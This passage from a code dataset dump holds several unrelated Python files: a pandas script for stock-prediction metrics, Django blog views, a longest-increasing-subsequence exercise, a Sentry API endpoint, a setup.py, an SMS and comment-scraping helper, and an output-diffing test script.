\ndf4Incrementfalsenegative = df4Incrementfalsenegative.drop_duplicates(['stock_id',],keep='first')\n\ndf4Incrementfalsenegative = df4Incrementfalsenegative.drop(['Incrementfalsenegative','ResultIncre'], axis=1)\n\n#-----------------------------------------------------------------------------\n\ndf4Decrementfalsenegative['FalseNegative'] = str(np.nan)\n\nfor i in range(0, len(df4Decrementfalsenegative.index)): \n if(df4Decrementfalsenegative.Decrementfalsenegative.values[i] == 1):\n df4Decrementfalsenegative.FalseNegative.values[i] = df4Decrementfalsenegative.ResultDecre.values[i]\n \ndf4Decrementfalsenegative = df4Decrementfalsenegative.drop_duplicates(['stock_id',],keep='first')\n\ndf4Decrementfalsenegative = df4Decrementfalsenegative.drop(['Decrementfalsenegative','ResultDecre'], axis=1)\n\n#-------------------------------------------------------------------\ndf4Holdfalsenegative['FalseNegative'] = str(np.nan)\n\nfor i in range(0, len(df4Holdfalsenegative.index)): \n if(df4Holdfalsenegative.Holdfalsenegative.values[i] == 1):\n df4Holdfalsenegative.FalseNegative.values[i] = df4Holdfalsenegative.ResultHold.values[i]\n \ndf4Holdfalsenegative = df4Holdfalsenegative.drop_duplicates(['stock_id',],keep='first')\n\ndf4Holdfalsenegative = df4Holdfalsenegative.drop(['Holdfalsenegative','ResultHold'], axis=1)\n\n#-------------------------------------------------------------------------\n\ndf4Removefalsenegative['FalseNegative'] = str(np.nan)\n\nfor i in range(0, len(df4Removefalsenegative.index)): \n if(df4Removefalsenegative.Removefalsenegative.values[i] == 1):\n df4Removefalsenegative.FalseNegative.values[i] = df4Removefalsenegative.ResultRemove.values[i]\n \ndf4Removefalsenegative = df4Removefalsenegative.drop_duplicates(['stock_id',],keep='first')\n\ndf4Removefalsenegative = df4Removefalsenegative.drop(['Removefalsenegative','ResultRemove'], axis=1)\n#-------------------------------------------------------------------------\ndf4Increfinal = []\n\n#df4Increfinal = [df4Increment,df4Incrementfalse,df4Incrementpredict,df4Incrementtotal]\ndf4Increfinal = pd.merge(df4Increment, df4Incrementfalse, on=['stock_id'])\ndf4Increfinal = pd.merge(df4Increfinal, df4Incrementpredict, on=['stock_id'])\ndf4Increfinal = pd.merge(df4Increfinal, df4Incrementtotal, on=['stock_id'])\ndf4Increfinal = pd.merge(df4Increfinal, df4Incrementfalsenegative, on=['stock_id'])\n#---------------------------------------------------------------------------\n\ndf4Decrefinal = []\n\n#df4Decrefinal = [df4Decrement,df4Decrementfalse,df4Decrementpredict,df4Decrementtotal]\ndf4Decrefinal = pd.merge(df4Decrement, df4Decrementfalse, on=['stock_id'])\ndf4Decrefinal = pd.merge(df4Decrefinal, df4Decrementpredict, on=['stock_id'])\ndf4Decrefinal = pd.merge(df4Decrefinal, df4Decrementtotal, on=['stock_id'])\ndf4Decrefinal = pd.merge(df4Decrefinal, df4Decrementfalsenegative, on=['stock_id'])\n#-----------------------------------------------------------------------------\n\ndf4Holdfinal = []\n\n#df4Holdfinal = [df4Hold,df4Holdfalse,df4HoldPredict,df4Holdtotal]\ndf4Holdfinal = pd.merge(df4Hold, df4Holdfalse, on=['stock_id'])\ndf4Holdfinal = pd.merge(df4Holdfinal, df4HoldPredict, on=['stock_id'])\ndf4Holdfinal = pd.merge(df4Holdfinal, df4Holdtotal, on=['stock_id'])\ndf4Holdfinal = pd.merge(df4Holdfinal, df4Holdfalsenegative, on=['stock_id'])\n#-----------------------------------------------------------------------------\ndf4Removefinal = []\n\n#df4Removefinal = [df4Remove,df4Removefalse,df4RemovePredict,df4Removetotal]\ndf4Removefinal = pd.merge(df4Remove, df4Removefalse, on=['stock_id'])\ndf4Removefinal = pd.merge(df4Removefinal, df4Removepredict, on=['stock_id'])\ndf4Removefinal = pd.merge(df4Removefinal, df4Removetotal, on=['stock_id'])\ndf4Removefinal = pd.merge(df4Removefinal, df4Removefalsenegative, on=['stock_id'])\n\n#-----------------------------------------------------------------------------\n\n#df4result = df4result.drop_duplicates(['stock_id',],keep='first')\n\ndf5stock = df1.groupby(['stock_id','ClassInd']).size().reset_index(name='Originals')\n\ndf5sumstock = pd.Series.to_frame(df5stock.groupby(['stock_id'])[\"Originals\"].apply(lambda x : x.astype(int).sum()))\n\ndf5sumstock['stock_id'] = df5sumstock.index\n\ndf7stock = df1.groupby(['stock_id','ScoredLabels']).size().reset_index(name='Predictions')\ndf7sumstock = pd.Series.to_frame(df7stock.groupby(['stock_id'])['Predictions'].sum())\ndf7sumstock['stock_id'] = df7sumstock.index\n\ndf6stock = df4.drop_duplicates(['stock_id',],keep='first')\n\nresults = pd.merge(df6stock,\n\n df2[['stock_id', 'ticker']],\n\n on='stock_id')\n\nresults['Ticker'] = results['ticker']\n\n\n\nresults.drop(['ActionTaken','ScoredLabels','Result','Truepositive','Increment','Decrement','Hold','Remove','Incrementtotal','Decrementtotal','Holdtotal','Removetotal','Incrementfalse','Decrementfalse','Holdfalse','Removefalse','Incrementpredict','Decrementpredict','HoldPredict','Removepredict'], axis=1, inplace=True)\ndf = pd.merge(df5sumstock, df7sumstock, on=['stock_id'])\n\nIncrement = df4Increfinal.join(results.set_index('stock_id'), on='stock_id')\n\nIncrement['Recall']= str(np.nan)\nIncrement['PRECISION']= str(np.nan)\nIncrement['F1Score']= str(np.nan)\nfor i in range(0, len(Increment.index)):\n if(Increment.Truepositive.values[i]!='nan' and Increment.Prediction.values[i]!='nan'):\n Increment.PRECISION.values[i] = (int(Increment.Truepositive.values[i])/int(Increment.Prediction.values[i]))\n else:\n Increment.PRECISION.values[i] = 0\n\n if(Increment.Truepositive.values[i]!='nan' and Increment.Originals.values[i]!='nan'):\n Increment.Recall.values[i] = (int(Increment.Truepositive.values[i])/int(Increment.Originals.values[i]))\n else:\n Increment.Recall.values[i] = 0\n if(Increment.PRECISION.values[i]!=0 and Increment.Recall.values[i]!=0):\n Increment.F1Score.values[i] = (2*(Increment.PRECISION.values[i]*(Increment.Recall.values[i]))/((Increment.PRECISION.values[i])+(Increment.Recall.values[i])))\n \nheader_list = list(Increment.columns)\nmax_rows = 5\n\nIncrement1 = pd.DataFrame(str(np.nan),[max_rows],columns= header_list)\n\nIncrement1.stock_id.values[0] = i+1\nIncrement = Increment.replace('nan', 0)\n\n\nIncrement[['Originals']] = Increment[['Originals']].astype(int)\nIncrement1.Originals.values[0] = (Increment.Originals).sum()\nIncrement1.Prediction.values[0] = Increment['Prediction'].sum()\nIncrement1.Truepositive.values[0] = Increment['Truepositive'].sum()\nIncrement1.FalsePositive.values[0] = Increment['FalsePositive'].sum()\nIncrement1.FalseNegative.values[0] = Increment['FalseNegative'].sum()\nIncrement1.Recall.values[0] = (Increment1.Truepositive.values[0]/Increment1.Originals.values[0])\nIncrement1.PRECISION.values[0] = (Increment1.Truepositive.values[0]/Increment1.Prediction.values[0])\nIncrement1.F1Score.values[0] = (2*(Increment1.PRECISION.values[0]*(Increment1.Recall.values[0]))/((Increment1.PRECISION.values[0])+(Increment1.Recall.values[0])))\nIncrement1.MaxConfidence.values[0] = np.std(Increment['MaxConfidence'])\nIncrement = Increment[['stock_id','Ticker','Originals','Prediction','Truepositive','FalsePositive','FalseNegative','Recall','PRECISION','F1Score','MaxConfidence','Confidencelevel']]\nIncrement1 = Increment1[['stock_id','Ticker','Originals','Prediction','Truepositive','FalsePositive','FalseNegative','Recall','PRECISION','F1Score','MaxConfidence','Confidencelevel']]\nIncrement = Increment.append(Increment1)\nIncrement = Increment.drop(['MaxConfidence','Confidencelevel'], axis=1)\nIncrement.reset_index(drop=True, inplace=True)\n\nDecrement = df4Decrefinal.join(results.set_index('stock_id'), on='stock_id')\n\nDecrement['Recall']= str(np.nan)\nDecrement['PRECISION']= str(np.nan)\nDecrement['F1Score']= str(np.nan)\nfor i in range(0, len(Decrement.index)):\n if(Decrement.Truepositive.values[i]!='nan' and Decrement.Prediction.values[i]!='nan'):\n Decrement.PRECISION.values[i] = (int(Decrement.Truepositive.values[i])/int(Decrement.Prediction.values[i]))\n else:\n Decrement.PRECISION.values[i] = 0\n\n if(Decrement.Truepositive.values[i]!='nan' and Decrement.Originals.values[i]!='nan'):\n Decrement.Recall.values[i] = (int(Decrement.Truepositive.values[i])/int(Decrement.Originals.values[i]))\n else:\n Decrement.Recall.values[i] = 0\n if(Decrement.PRECISION.values[i]!=0 and Decrement.Recall.values[i]!=0):\n Decrement.F1Score.values[i] = (2*(Decrement.PRECISION.values[i]*(Decrement.Recall.values[i]))/((Decrement.PRECISION.values[i])+(Decrement.Recall.values[i])))\n \nDecrement1 = pd.DataFrame(str(np.nan),[max_rows],columns= header_list) \nDecrement1.stock_id.values[0] = i+1\nDecrement = Decrement.replace('nan', 0)\n\n\nDecrement[['Originals']] = Decrement[['Originals']].astype(int)\nDecrement1.Originals.values[0] = (Decrement.Originals).sum()\nDecrement1.Prediction.values[0] = Decrement['Prediction'].sum()\nDecrement1.Truepositive.values[0] = Decrement['Truepositive'].sum()\nDecrement1.FalsePositive.values[0] = Decrement['FalsePositive'].sum()\nDecrement1.FalseNegative.values[0] = Decrement['FalseNegative'].sum()\nDecrement1.Recall.values[0] = (Decrement1.Truepositive.values[0]/Decrement1.Originals.values[0])\nDecrement1.PRECISION.values[0] = (Decrement1.Truepositive.values[0]/Decrement1.Prediction.values[0])\nDecrement1.F1Score.values[0] = (2*(Decrement1.PRECISION.values[0]*(Decrement1.Recall.values[0]))/((Decrement1.PRECISION.values[0])+(Decrement1.Recall.values[0])))\nDecrement1.MaxConfidence.values[0] = np.std(Decrement['MaxConfidence'])\nDecrement = Decrement[['stock_id','Ticker','Originals','Prediction','Truepositive','FalsePositive','FalseNegative','Recall','PRECISION','F1Score','MaxConfidence','Confidencelevel']]\nDecrement1 = Decrement1[['stock_id','Ticker','Originals','Prediction','Truepositive','FalsePositive','FalseNegative','Recall','PRECISION','F1Score','MaxConfidence','Confidencelevel']]\nDecrement = Decrement.append(Decrement1)\nDecrement = Decrement.drop(['MaxConfidence','Confidencelevel'], axis=1)\nDecrement.reset_index(drop=True, inplace=True)\n\nHold = df4Holdfinal.join(results.set_index('stock_id'), on='stock_id')\n\nHold['Recall']= str(np.nan)\nHold['PRECISION']= str(np.nan)\nHold['F1Score']= str(np.nan)\nfor i in range(0, len(Hold.index)):\n if(Hold.Truepositive.values[i]!='nan' and Hold.Prediction.values[i]!='nan'):\n Hold.PRECISION.values[i] = (int(Hold.Truepositive.values[i])/int(Hold.Prediction.values[i]))\n else:\n Hold.PRECISION.values[i] = 0\n\n if(Hold.Truepositive.values[i]!='nan' and Hold.Originals.values[i]!='nan'):\n Hold.Recall.values[i] = (int(Hold.Truepositive.values[i])/int(Hold.Originals.values[i]))\n else:\n Hold.Recall.values[i] = 0\n if(Hold.PRECISION.values[i]!=0 and Hold.Recall.values[i]!=0):\n Hold.F1Score.values[i] = (2*(Hold.PRECISION.values[i]*(Hold.Recall.values[i]))/((Hold.PRECISION.values[i])+(Hold.Recall.values[i])))\nHold1 = pd.DataFrame(str(np.nan),[max_rows],columns= header_list)\nHold1.stock_id.values[0] = i+1\nHold = Hold.replace('nan', 0)\n\n\nHold[['Originals']] = Hold[['Originals']].astype(int)\nHold1.Originals.values[0] = (Hold.Originals).sum()\nHold1.Prediction.values[0] = Hold['Prediction'].sum()\nHold1.Truepositive.values[0] = Hold['Truepositive'].sum()\nHold1.FalsePositive.values[0] = Hold['FalsePositive'].sum()\nHold1.FalseNegative.values[0] = Hold['FalseNegative'].sum()\nHold1.Recall.values[0] = (Hold1.Truepositive.values[0]/Hold1.Originals.values[0])\nHold1.PRECISION.values[0] = (Hold1.Truepositive.values[0]/Hold1.Prediction.values[0])\nHold1.F1Score.values[0] = (2*(Hold1.PRECISION.values[0]*(Hold1.Recall.values[0]))/((Hold1.PRECISION.values[0])+(Hold1.Recall.values[0])))\nHold1.MaxConfidence.values[0] = np.std(Hold['MaxConfidence'])\nHold = Hold[['stock_id','Ticker','Originals','Prediction','Truepositive','FalsePositive','FalseNegative','Recall','PRECISION','F1Score','MaxConfidence','Confidencelevel']]\nHold1 = Hold1[['stock_id','Ticker','Originals','Prediction','Truepositive','FalsePositive','FalseNegative','Recall','PRECISION','F1Score','MaxConfidence','Confidencelevel']]\nHold = Hold.append(Hold1) \n\n\n \nRemove = df4Removefinal.join(results.set_index('stock_id'), on='stock_id')\n\nRemove['Recall']= str(np.nan)\nRemove['PRECISION']= str(np.nan)\nRemove['F1Score']= str(np.nan)\nfor i in range(0, len(Remove.index)):\n if(Remove.Truepositive.values[i]!='nan' and Remove.Prediction.values[i]!='nan'):\n Remove.PRECISION.values[i] = (int(Remove.Truepositive.values[i])/int(Remove.Prediction.values[i]))\n else:\n Remove.PRECISION.values[i] = 0\n\n if(Remove.Truepositive.values[i]!='nan' and Remove.Originals.values[i]!='nan'):\n Remove.Recall.values[i] = (int(Remove.Truepositive.values[i])/int(Remove.Originals.values[i]))\n else:\n Remove.Recall.values[i] = 0\n if(Remove.PRECISION.values[i]!=0 and Remove.Recall.values[i]!=0):\n Remove.F1Score.values[i] = (2*(Remove.PRECISION.values[i]*(Remove.Recall.values[i]))/((Remove.PRECISION.values[i])+(Remove.Recall.values[i])))\n\nRemove1 = pd.DataFrame(str(np.nan),[max_rows],columns= header_list)\nRemove1.stock_id.values[0] = i+1\nRemove = Remove.replace('nan', 0)\n\n\nRemove[['Originals']] = Remove[['Originals']].astype(int)\nRemove1.Originals.values[0] = (Remove.Originals).sum()\nRemove1.Prediction.values[0] = Remove['Prediction'].sum()\nRemove1.Truepositive.values[0] = Remove['Truepositive'].sum()\nRemove1.FalsePositive.values[0] = Remove['FalsePositive'].sum()\nRemove1.FalseNegative.values[0] = Remove['FalseNegative'].sum()\nRemove1.Recall.values[0] = (Remove1.Truepositive.values[0]/Remove1.Originals.values[0])\nRemove1.PRECISION.values[0] = (Remove1.Truepositive.values[0]/Remove1.Prediction.values[0])\nRemove1.F1Score.values[0] = (2*(Remove1.PRECISION.values[0]*(Remove1.Recall.values[0]))/((Remove1.PRECISION.values[0])+(Remove1.Recall.values[0])))\nRemove1.MaxConfidence.values[0] = np.std(Remove['MaxConfidence'])\nRemove = Remove[['stock_id','Ticker','Originals','Prediction','Truepositive','FalsePositive','FalseNegative','Recall','PRECISION','F1Score','MaxConfidence','Confidencelevel']]\nRemove1 = Remove1[['stock_id','Ticker','Originals','Prediction','Truepositive','FalsePositive','FalseNegative','Recall','PRECISION','F1Score','MaxConfidence','Confidencelevel']]\nRemove = Remove.append(Remove1)\n \nSpeechcompstock = df.join(results.set_index('stock_id'), on='stock_id')\n\nSpeechcompstock = Speechcompstock[['stock_id','Ticker','Originals','Predictions','MaxConfidence','Confidencelevel']]\n\nSpeechcompstock = pd.merge(Speechcompstock, df4result, on=['stock_id'])\nSpeechcompstock = pd.merge(Speechcompstock, df4results, on=['stock_id'])\nSpeechcompstock = pd.merge(Speechcompstock, df4result1, on=['stock_id'])\n\n\nSpeechcompstock['Recall']= str(np.nan)\nSpeechcompstock['PRECISION']= str(np.nan)\nSpeechcompstock['F1Score']= str(np.nan)\nfor i in range(0, len(Speechcompstock.index)):\n if(Speechcompstock.Truepositive.values[i]!='nan' and Speechcompstock.Predictions.values[i]!='nan'):\n Speechcompstock.PRECISION.values[i] = (int(Speechcompstock.Truepositive.values[i])/int(Speechcompstock.Predictions.values[i]))\n else:\n Speechcompstock.PRECISION.values[i] = 0\n\n if(Speechcompstock.Truepositive.values[i]!='nan' and Speechcompstock.Originals.values[i]!='nan'):\n Speechcompstock.Recall.values[i] = (int(Speechcompstock.Truepositive.values[i])/int(Speechcompstock.Originals.values[i]))\n else:\n Speechcompstock.Recall.values[i] = 0\n if(Speechcompstock.PRECISION.values[i]!=0 and Speechcompstock.Recall.values[i]!=0):\n Speechcompstock.F1Score.values[i] = (2*(Speechcompstock.PRECISION.values[i]*(Speechcompstock.Recall.values[i]))/((Speechcompstock.PRECISION.values[i])+(Speechcompstock.Recall.values[i])))\nheader_list = list(Speechcompstock.columns)\nSpeechcompstock1 = pd.DataFrame(str(np.nan),[max_rows],columns= header_list)\nSpeechcompstock1.stock_id.values[0] = i+1\nSpeechcompstock = Speechcompstock.replace('nan', 0)\n\nSpeechcompstock['stock_id'] = pd.to_numeric(Speechcompstock['stock_id'])\n\nSpeechcompstock[['Originals']] = Speechcompstock[['Originals']].astype(int)\nSpeechcompstock1.Originals.values[0] = (Speechcompstock.Originals).sum()\nSpeechcompstock1.Predictions.values[0] = Speechcompstock['Predictions'].sum()\nSpeechcompstock1.Truepositive.values[0] = Speechcompstock['Truepositive'].sum()\nSpeechcompstock1.Falsepositive.values[0] = Speechcompstock['Falsepositive'].sum()\nSpeechcompstock1.Falsenegative.values[0] = Speechcompstock['Falsenegative'].sum()\nSpeechcompstock1.Recall.values[0] = (Speechcompstock1.Truepositive.values[0]/Speechcompstock1.Originals.values[0])\nSpeechcompstock1.PRECISION.values[0] = (Speechcompstock1.Truepositive.values[0]/Speechcompstock1.Predictions.values[0])\nSpeechcompstock1.F1Score.values[0] = (2*(Speechcompstock1.PRECISION.values[0]*(Speechcompstock1.Recall.values[0]))/((Speechcompstock1.PRECISION.values[0])+(Speechcompstock1.Recall.values[0])))\nSpeechcompstock1.MaxConfidence.values[0] = np.std(Speechcompstock['MaxConfidence'])\nSpeechcompstock = Speechcompstock[['stock_id','Ticker','Originals','Predictions','Truepositive','Falsepositive','Falsenegative','Recall','PRECISION','F1Score','MaxConfidence','Confidencelevel']]\nSpeechcompstock1 = Speechcompstock1[['stock_id','Ticker','Originals','Predictions','Truepositive','Falsepositive','Falsenegative','Recall','PRECISION','F1Score','MaxConfidence','Confidencelevel']]\nSpeechcompstock = Speechcompstock.append(Speechcompstock1)\nSpeechcompstock = Speechcompstock.drop(['MaxConfidence','Confidencelevel'], axis=1)\nSpeechcompstock.reset_index(drop=True, inplace=True)\n# Create a Pandas Excel writer using XlsxWriter as the engine.\nwriter = pd.ExcelWriter(Finaloutput+\"\\\\\"'CompanyAnalysis_NonOwner_2019Q2_Sector11_ML_Studio_Python_v1.xlsx', engine='xlsxwriter')\n\n# Write each dataframe to a different worksheet.\nSpeechcompstock.to_excel(writer, sheet_name='All')\nIncrement.to_excel(writer, sheet_name='Buy')\nDecrement.to_excel(writer, sheet_name='NA')\n\n# Close the Pandas Excel writer and output the Excel file.\nwriter.save()\n\n","sub_path":"Python Code/fund_and_company_analysis_non_owner_python_xgboost.py","file_name":"fund_and_company_analysis_non_owner_python_xgboost.py","file_ext":"py","file_size_in_byte":77173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"555442970","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom django.views import generic\nfrom django.contrib.auth.mixins import LoginRequiredMixin, PermissionRequiredMixin\nfrom django.urls import reverse_lazy\nfrom .forms import *\n\n\n# set PermissionRequiredMixin to forbid post creating for regular users\nclass PostCreate(LoginRequiredMixin, PermissionRequiredMixin, generic.CreateView):\n \"\"\"\n view for creating a post\n author and slug fields are auto-fill\n \"\"\"\n model = Post\n fields = ('title', 'body', 'tags',)\n permission_required = 'catalog.can_mark_returned' # it is a test permission that i always used in the project\n success_url = reverse_lazy('blog:post_list_url')\n\n def form_valid(self, form):\n \"\"\"\n autofill the author field on new post\n based on request.user\n \"\"\"\n author = self.request.user\n form.instance.author = author\n return super(PostCreate, self).form_valid(form)\n\n\nclass PostUpdate(LoginRequiredMixin, PermissionRequiredMixin, generic.UpdateView):\n \"\"\"\n view for editing particular post\n redirects us onto detail page for this post\n \"\"\"\n model = Post\n fields = ('title', 'body', 'tags')\n permission_required = 'catalog.can_mark_returned' # it is a test permission that i always used in the project\n\n\nclass PostDelete(LoginRequiredMixin, PermissionRequiredMixin, generic.DeleteView):\n \"\"\"\n view for deleting particular post\n redirects us onto page post_list after\n \"\"\"\n model = Post\n success_url = reverse_lazy('blog:post_list_url')\n permission_required = 'catalog.can_mark_returned' # it is a test permission that i always used in the project\n template_name_suffix = '_delete'\n\n\nclass PostList(generic.ListView):\n \"\"\"\n view for list of all post that we have in our blog\n \"\"\"\n model = Post\n paginate_by = 3\n queryset = Post.objects.order_by('-pub_date')\n\n\nclass PostDetail(generic.DetailView):\n \"\"\"\n view for detail info about particular post\n \"\"\"\n model = Post\n template = 'blog/post_detail.html'\n\n\nclass TagList(LoginRequiredMixin, generic.ListView):\n model = Tag\n\n\nclass TagCreate(LoginRequiredMixin, PermissionRequiredMixin, generic.CreateView):\n \"\"\"\n view for creating a tag\n \"\"\"\n model = Tag\n fields = '__all__'\n permission_required = 'catalog.can_mark_returned' # it is a test permission that i always used in the project\n\n success_url = reverse_lazy('blog:tag_list_url')\n\n\nclass TagDetail(LoginRequiredMixin, generic.DetailView):\n \"\"\"\n view for get access to a particular tag\n \"\"\"\n model = Tag\n template = 'blog/tag_detail.html'\n\n\nclass TagUpdate(PermissionRequiredMixin, LoginRequiredMixin, generic.UpdateView):\n \"\"\"\n view for udate the particular tag\n \"\"\"\n model = Tag\n fields = '__all__'\n permission_required = 'catalog.can_mark_returned'\n\n\nclass TagDelete(PermissionRequiredMixin, LoginRequiredMixin, generic.DeleteView):\n \"\"\"\n view for deleting the particular tag\n \"\"\"\n model = Tag\n template_name_suffix = '_delete'\n permission_required = 'catalog.can_mark_returned'\n success_url = reverse_lazy('blog:tag_list_url')\n\n\nclass CommentUpdate(LoginRequiredMixin, PermissionRequiredMixin, generic.UpdateView):\n \"\"\"\n view for editing particular comment\n redirects us on page with comment after\n \"\"\"\n model = Comment\n fields = ('body',)\n permission_required = 'catalog.can_mark_returned'\n\n\nclass CommentDelete(LoginRequiredMixin, PermissionRequiredMixin, generic.DeleteView):\n \"\"\"\n view for deleting particular comment\n \"\"\"\n model = Comment\n permission_required = 'catalog.can_mark_returned'\n template_name_suffix = '_delete'\n\n def get_success_url(self):\n \"\"\"\n redirect us on page where the comment was\n \"\"\"\n slug = self.object.post.slug\n return reverse_lazy('blog:post_detail_url', kwargs={'slug': slug})\n\n\ndef add_comment(request):\n \"\"\"\n function for creating two types of comments:\n 1. regular comment\n 2. answer on another comment\n \"\"\"\n if request.user.is_authenticated and request.method == \"POST\":\n form = request.POST\n post = get_object_or_404(Post, id=request.POST['post_id'])\n # we get a particular post from request to understand where we should create comment\n # and destination of redirect after creating\n\n if form.get('comm_id') and form.get('comm_id').isnumeric():\n # if it has comm_id - it is an answer to another comment\n comm = Comment.objects.filter(pk=int(form.get(\"comm_id\")))\n if len(comm) == 1:\n return_com = Comment(author=request.user, post=post, body=form.get('text_comm'),\n on_comment=comm[0])\n return_com.save()\n else:\n # if it hasn't - it is a regular comment under the post\n return_com = Comment(author=request.user, post=post, body=form.get('text_comm'),\n on_post=post)\n return_com.save()\n return redirect('blog:post_detail_url', slug=post.slug)\n","sub_path":"portfolio/blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"122842169","text":"# 최장 증가 부분수열 구하기\n\n'''\n2\n5\n1 3 2 5 4\n6\n4 2 3 1 5 6\n'''\n\n# # pos => index 위치\n# # tmp => tmp_data\ndef prog(pos, tmp):\n global data\n global max_len\n\n # 마지막 인덱스\n if pos == len(data) -1:\n if len(tmp) > max_len:\n max_len = len(tmp)\n return\n\n # 비어있는 경우\n if not tmp:\n tmp.append(data[pos])\n \n # 비어있지 않으면 끝까지 반복\n for idx, d in enumerate(data[pos+1:]):\n tmp_copy = tmp[:]\n if tmp[-1] <= d:\n tmp_copy.append(d)\n # print(pos, idx, tmp_copy)\n prog(pos+idx+1, tmp_copy)\n else:\n if pos+idx+1 == len(data)-1:\n if len(tmp) > max_len:\n max_len = len(tmp)\n continue\n\nT = int(input())\n\nfor tc in range(1, T+1):\n n = int(input())\n data = list(map(int, input().split()))\n max_len = 0\n\n for i in range(len(data)):\n prog(i, [])\n \n print(f'#{tc} {max_len}')","sub_path":"SWAG/D3/3307_re.py","file_name":"3307_re.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"419284848","text":"from __future__ import absolute_import\n\nfrom django.utils import timezone\nfrom rest_framework.response import Response\n\nfrom sentry.api.base import Endpoint\nfrom sentry.api.permissions import assert_perm\nfrom sentry.db.models import create_or_update\nfrom sentry.constants import STATUS_RESOLVED\nfrom sentry.models import Group, Activity\n\n\nclass GroupResolveEndpoint(Endpoint):\n def post(self, request, group_id):\n group = Group.objects.get(\n id=group_id,\n )\n\n assert_perm(group, request.user, request.auth)\n\n now = timezone.now()\n\n group.resolved_at = now\n\n happened = Group.objects.filter(\n id=group.id,\n ).exclude(status=STATUS_RESOLVED).update(\n status=STATUS_RESOLVED,\n resolved_at=now,\n )\n\n if happened:\n create_or_update(\n Activity,\n project=group.project,\n group=group,\n type=Activity.SET_RESOLVED,\n user=request.user,\n )\n\n return Response()\n","sub_path":"src/sentry/api/endpoints/group_resolve.py","file_name":"group_resolve.py","file_ext":"py","file_size_in_byte":1063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"420725661","text":"# This will try to import setuptools. If not here, it will reach for the embedded\n# ez_setup (or the ez_setup package). If none, it fails with a message\ntry:\n from setuptools import setup, find_packages\nexcept ImportError:\n try:\n import ez_setup\n\n ez_setup.use_setuptools()\n except ImportError:\n raise ImportError(\n \"EasyDNA could not be installed, probably because\"\n \" neither setuptools nor ez_setup are installed on\"\n \"this computer. \\nInstall ez_setup \"\n \"([sudo] pip install ez_setup) and try again.\"\n )\n\nversion = {}\nwith open(\"easy_dna/version.py\") as fp:\n exec(fp.read(), version)\n\nsetup(\n name=\"easy_dna\",\n version=version[\"__version__\"],\n author=\"Zulko\",\n description=\"Methods for DNA sequence reading, writing and editing.\",\n long_description=open(\"pypi-readme.rst\").read(),\n license=\"MIT\",\n url=\"https://github.com/Edinburgh-Genome-Foundry/easy_dna\",\n keywords=\"DNA sequence Genbank record editing\",\n packages=find_packages(exclude=\"docs\"),\n include_package_data=True,\n install_requires=[\n \"numpy\",\n \"Biopython\",\n \"snapgene_reader\",\n \"flametree\",\n \"pandas\",\n \"crazydoc\",\n ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"363575609","text":"# -*- coding: utf-8 -*-\nimport base64\nimport httplib, urllib2\nimport json\nfrom collections import namedtuple\nfrom lxml import etree\n\nfrom constance import config\nfrom django.conf import settings\n\npath = \"/smscenter/v1.0/sendsms\"\ncredential = \"Basic \"+base64.encodestring(settings.BLUEHOUSE_APPID +':'+ settings.BLUEHOUSE_APIKEY).strip()\nheaders = {\n \"Content-type\": \"application/json;charset=utf-8\",\n \"Authorization\": credential,\n}\n\nDAUM_DETAIL_URL = \"http://m.map.daum.net/actions/detailInfoView?id=%s\"\n\nCommentEntry = namedtuple('CommentEntry', ['comment_id', 'time', 'name', 'num_rate', 'msg'])\n\nclass MessageGateway():\n def send(self, sender, receiver, message):\n if not config.ENABLE_SEND_SMS:\n return False, 'ENABLE_SEND_SMS is disabled.'\n\n c = httplib.HTTPSConnection(settings.BLUEHOUSE_URL)\n value = {\n 'sender' : sender,\n 'receivers' : receiver,\n 'content' : message,\n }\n data = json.dumps(value, ensure_ascii=False).encode('utf-8')\n c.request(\"POST\", path, data, headers)\n res = c.getresponse()\n if res.status == 200:\n return True, 'Success'\n return False, 'Success'\n\ndef get_comment(daum_id):\n reqUrl = DAUM_DETAIL_URL % daum_id\n response = urllib2.urlopen(reqUrl).read()\n tree = etree.HTML(response)\n\n homepage = \"\"\n if tree.xpath(\"//p/a\") :\n homepage = tree.xpath(\"//p/a\")[0].values()[0]\n\n response = {'comments':[], 'homepage': homepage}\n for cmt_body in tree.xpath('//div[@class=\"list_cmt\"]'):\n comment_id = cmt_body.attrib['data-commentid']\n time = cmt_body.xpath('div/span[@class=\"txt_time\"]')[0].text\n name = cmt_body.xpath('div/span[@class=\"txt_name\"]')[0].text\n num_rate = cmt_body.xpath('div/em[@class=\"num_rate\"]')[0].text\n msg = cmt_body.xpath('div/div/span[@class=\"txt_desc\"]')[0].text\n\n ent = CommentEntry(comment_id = comment_id, time = time, name = name, num_rate = num_rate, msg = msg)\n response['comments'].append(dict(ent.__dict__))\n\n return response\n","sub_path":"guestpub/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":2097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"636788700","text":"import os # operation system, provides a portable way of using operating system dependent functionality\nfrom tqdm import tqdm\nfrom random import randint\nimport difflib\n\n# os.path: used for common path manipulation\nresult_folder = \"result\"\n\nif not os.path.exists(result_folder):\n os.mkdir(result_folder)\n\ncount = 0 # used for count the different cases\n\nfor a in tqdm(range(1, 10001)):\n for b in range(1, 10001):\n\n # read the number just written and output the result\n yxm = os.popen(\"./yxm {} {} simple\".format(a, b)).read()\n ncj = os.popen(\"./ncj {} {} simple\".format(a, b)).read()\n yxm2 = os.popen(\"./yxm {} {} counting\".format(a, b)).read()\n ncj2 = os.popen(\"./ncj {} {} counting\".format(a, b)).read()\n\n if yxm != ncj: # compare result for this number\n count += 1\n filename = str(count) + \".diff\" # output the difference into file\n with open(os.path.join(result_folder, filename), 'w+') as f:\n f.write(str(a) + \" \" + str(b) + \"simple\" + '\\n')\n diff = list(difflib.context_diff(yxm.splitlines(), ncj.splitlines(), lineterm=''))\n for item in diff:\n f.write(item + '\\n')\n\n with open(os.path.join(result_folder, \"yxm\"), 'w+') as f:\n f.write(str(a) + \" \" + str(b) + \"simple\" + 